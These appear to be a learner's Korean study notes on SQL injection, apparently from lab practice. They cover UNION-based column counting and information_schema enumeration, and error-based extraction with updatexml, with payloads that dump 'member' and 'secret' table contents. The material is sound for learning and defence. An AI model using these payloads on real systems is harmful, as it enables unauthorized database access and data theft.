and 1=1 // 항상 참이 되는 경우
키값%' order by 컬럼넘버 #
키값%' union select '1','2','3','4
// 실제 구문
WHERE name LIKE '%키값%' UNION SELECT '1','2','3','4%'
SELECT DATABASE()
에러 메시지로 서버에서 사용하는 DB 종류 확인하기
SELECT table_name from 데이터베이스 이름.tables WHERE table_schema = '테이블 이름'
SELECT column_name from 데이터베이스 이름 WHERE table_name=''
//키값%' union select '1',column_name,'3','4' from 데이터베이스이름.columns WHERE table_name='' #
SELECT 컬럼값 FROM 테이블 이름
//키값%' union select '1',column_name,'3','4' from 데이터베이스 이름 #
- 주석 사용을 지양해야 하는 이유?
다량의 데이터를 가져오다 서버나 DB에 문제가 생길 수도 있음
컬럼 개수를 꼭 확인하기 => order by 사용


🔔 ONE MORE TIME ❗
watch%' union select '1',column_name,'3','4' from information_schema.columns where table_name='member' #

watch%' union select '1',info,'3','4' from member #

DB 에러 메시지가 화면에 출력될 때 사용하는 SQL injection
-> 에러메시지를 통해 DB 종류를 알 수 있음
SQL 쿼리문 추측하기
SELECT ____ FROM _____ WHERE id=' '
DB 에러인지 확인
ERROR based SQL injection
문법 에러
논리 에러 : 문법은 맞아야함
updatexml
1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
LIMIT
limit [from where], [number of columns]
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='secret' limit 0,1)),null) and '1'='1
1' and updatexml(null,concat(0x3a,(select secret from secret limit 0,1)),null) and '1'='1
